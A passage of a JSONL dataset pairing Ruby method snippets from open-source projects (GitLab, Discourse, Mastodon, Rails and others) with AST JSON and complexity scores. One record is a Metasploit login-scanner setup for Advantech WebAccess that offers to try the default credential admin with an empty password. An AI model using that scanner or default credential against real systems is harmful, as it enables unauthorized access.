end","complexity_score":74.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_tag\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"information\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detaillist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detail\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"detail\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detaillist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_vuln\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"detaillist\"]},{\"type\":\"send\",\"children\":[null,\"record_vulns\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"hostlist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_host\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hostlist\"]},{\"type\":\"send\",\"children\":[null,\"record_hosts\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detaillist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detail\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"cve\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"hostlist\"]}]},{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detaillist\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"detail\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"hostlist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"portinfo\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"portlist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"portlist-host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_service\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"portlist\"]},{\"type\":\"send\",\"children\":[null,\"record_services\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"portnumber\"]},{\"type\":\"str\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"service\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"portlist\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"portlist-host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"portinfo\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"report\"]},{\"type\":\"str\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"record_text\"]}]},null]}]}]}","id":"7b537bb0-d429-4ac7-9872-b6738d86d4b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/utils/override_spec.rb","start_line":53,"raw_source":"def bad(mod)\n    mod.module_eval do\n      override :bad\n      def bad\n        true\n      end\n    end\n\n    mod\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bad\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"module_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"override\",{\"type\":\"sym\",\"children\":[\"bad\"]}]},{\"type\":\"def\",\"children\":[\"bad\",{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}","id":"c2e2feb6-1fc1-4840-be61-c1d81784935a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/lib/pledge.rb","start_line":127,"raw_source":"def self.all\n      Patreon.get(\"pledges\") || {}\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Patreon\"]},\"get\",{\"type\":\"str\",\"children\":[\"pledges\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"fe7f20e4-86fe-4503-8080-b841cac9518c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/confirmations_controller_spec.rb","start_line":18,"raw_source":"def perform_request\n      get :show, params: { confirmation_token: confirmation_token }\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmation_token\"]},{\"type\":\"send\",\"children\":[null,\"confirmation_token\"]}]}]}]}]}]}]}","id":"ae18464e-9312-4f18-ac26-ecd8957229bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmark_query.rb","start_line":21,"raw_source":"def self.preload_polymorphic_associations(bookmarks, guardian)\n    Bookmark.registered_bookmarkables.each do |registered_bookmarkable|\n      registered_bookmarkable.perform_preload(bookmarks, guardian)\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload_polymorphic_associations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmarks\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bookmark\"]},\"registered_bookmarkables\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registered_bookmarkable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registered_bookmarkable\"]},\"perform_preload\",{\"type\":\"lvar\",\"children\":[\"bookmarks\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]}]}","id":"d8e6dc07-1bc6-43d6-babc-b82aa52a9270"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/database/lock_tables_worker_spec.rb","start_line":118,"raw_source":"def lock_table(database_name, table_name)\n    lock_writes_manager(database_name, table_name).lock_writes\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database_name\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lock_writes_manager\",{\"type\":\"lvar\",\"children\":[\"database_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"lock_writes\"]}]}","id":"9f3ebd3a-0daa-4065-8f0f-58107e47a97f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/advantech_webaccess_login.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Advantech WebAccess Login',\n        'Description' => %q{\n          This module will attempt to authenticate to Advantech WebAccess.\n        },\n        'Author' => [ 'sinn3r' ],\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => {\n          'RPORT' => 80\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),\n        OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:[empty]', false])\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Advantech WebAccess Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will attempt to authenticate to Advantech WebAccess.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to Advantech WebAccess\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"TRYDEFAULT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Try the default credential admin:[empty]\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"62dd5305-f6fd-4e9f-a3f2-4f8509a65012"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/page.rb","start_line":91,"raw_source":"def body_present\n    return unless body_markdown.blank? && body_html.blank? && body_json.blank? && body_css.blank?\n\n    errors.add(:body_markdown, I18n.t(\"models.page.body_must_exist\"))\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"body_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body_markdown\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body_html\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body_json\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body_css\"]},\"blank?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"body_markdown\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.page.body_must_exist\"]}]}]}]}]}","id":"c427cbb9-6d14-4eab-a057-37364eef8f5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encrypted_configuration.rb","start_line":113,"raw_source":"def deserialize(contents)\n      YAML.safe_load(contents, permitted_classes: [Symbol]).presence || {}\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]}]}]},\"presence\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"97b7d5ec-b2fa-49d4-99de-8b699f9b37da"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/oauth/userinfo_controller.rb","start_line":7,"raw_source":"def show\n    @account = current_account\n    render json: @account, serializer: OAuthUserinfoSerializer\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[null,\"current_account\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[null,\"OAuthUserinfoSerializer\"]}]}]}]}]}]}","id":"411c07d1-8c4c-43d7-97d6-c41a5ce5a79c"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications/new_comment/send.rb","start_line":92,"raw_source":"def author_subscriber_user_ids\n        return [] if comment.user_id != comment.commentable.user_id\n\n        user_ids_for(\"only_author_comments\")\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"author_subscriber_user_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment\"]},\"user_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment\"]},\"commentable\"]},\"user_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"user_ids_for\",{\"type\":\"str\",\"children\":[\"only_author_comments\"]}]}]}]}","id":"d4ebe1e4-af12-4d3e-9bec-04c797afbc25"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/settings/preferences/posting_defaults_spec.rb","start_line":24,"raw_source":"def save_changes\n    click_on submit_button\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"send\",\"children\":[null,\"submit_button\"]}]}]}","id":"7dce9735-aa47-4f8c-adb3-65103e33cb53"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_rack_handler.rb","start_line":160,"raw_source":"def test_absolute_unix_host\n      @options[:Host] = \"/absolute.sock\"\n      conf = ::Rack::Handler::Puma.config(->{}, @options)\n      conf.load\n\n      assert_equal [\"unix:///absolute.sock\"], conf.options[:binds]\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_absolute_unix_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"/absolute.sock\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Handler\"]},\"Puma\"]},\"config\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"load\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix:///absolute.sock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]}]}]}]}","id":"064da791-175b-4a1a-a82c-38cf62b16be5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/attribute_aliasing_test.rb","start_line":10,"raw_source":"def initialize\n      @title, @Data = nil, nil\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@title\"]},{\"type\":\"ivasgn\",\"children\":[\"@Data\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"1b087935-72e7-482b-a2e5-24a8737e918e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params/allowed_settings.rb","start_line":78,"raw_source":"def restricted_keys\n      restrictions.select(&:applicable?)\n                  .flat_map(&:restricted_keys)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"restricted_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restrictions\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"applicable?\"]}]}]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"restricted_keys\"]}]}]}]}","id":"a67872c9-9cfd-49bf-bac8-979f1e4e78b5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/reviewables_controller.rb","start_line":331,"raw_source":"def find_reviewable\n    reviewable = Reviewable.viewable_by(current_user).where(id: params[:reviewable_id]).first\n    raise Discourse::NotFound.new if reviewable.blank?\n    reviewable\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_reviewable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reviewable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reviewable\"]},\"viewable_by\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reviewable_id\"]}]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]},\"new\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"reviewable\"]}]}]}","id":"b1886e63-1b4c-459d-b48d-653dd03f2b62"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/request/utils.rb","start_line":23,"raw_source":"def self.normalize_encode_params(params)\n        if perform_deep_munge\n          NoNilParamEncoder.normalize_encode_params params\n        else\n          ParamEncoder.normalize_encode_params params\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_encode_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_deep_munge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoNilParamEncoder\"]},\"normalize_encode_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParamEncoder\"]},\"normalize_encode_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"d6e44496-bc26-488a-81ca-4918843422dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/self_link.rb","start_line":36,"raw_source":"def self.prepended(base)\n        base.extend ClassMethods\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"952837ef-9bba-43ff-b2bb-fd2cd09370c0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/policies/conversation_policy.rb","start_line":42,"raw_source":"def participant?\n    record.conversation_participants.exists?(user_id: user.id)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"participant?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"conversation_participants\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]}","id":"be05e3e5-02aa-48c1-aa6d-32e946f3ccdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/canary.rb","start_line":8,"raw_source":"def validate_canary!\n        return unless QA::Runtime::Env.qa_cookies.to_s.include?(\"gitlab_canary=true\")\n\n        canary_cookie = Capybara.current_session.driver.browser.manage.all_cookies.find do |cookie|\n          cookie[:name] == 'gitlab_canary'\n        end\n\n        unless canary_cookie && canary_cookie[:value] == 'true'\n          raise Canary::CanaryValidationError,\n            \"gitlab_canary=true cookie was expected but not set in browser. QA_COOKIES: #{QA::Runtime::Env.qa_cookies}\"\n        end\n\n        return if Page::Main::Menu.perform(&:canary?)\n\n        raise Canary::CanaryValidationError,\n          \"gitlab_canary=true cookie was set in browser but 'Next' badge was not shown on UI\"\n      end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_canary!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Env\"]},\"qa_cookies\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"gitlab_canary=true\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"canary_cookie\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"current_session\"]},\"driver\"]},\"browser\"]},\"manage\"]},\"all_cookies\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"gitlab_canary\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canary_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canary_cookie\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Canary\"]},\"CanaryValidationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab_canary=true cookie was expected but not set in browser. QA_COOKIES: 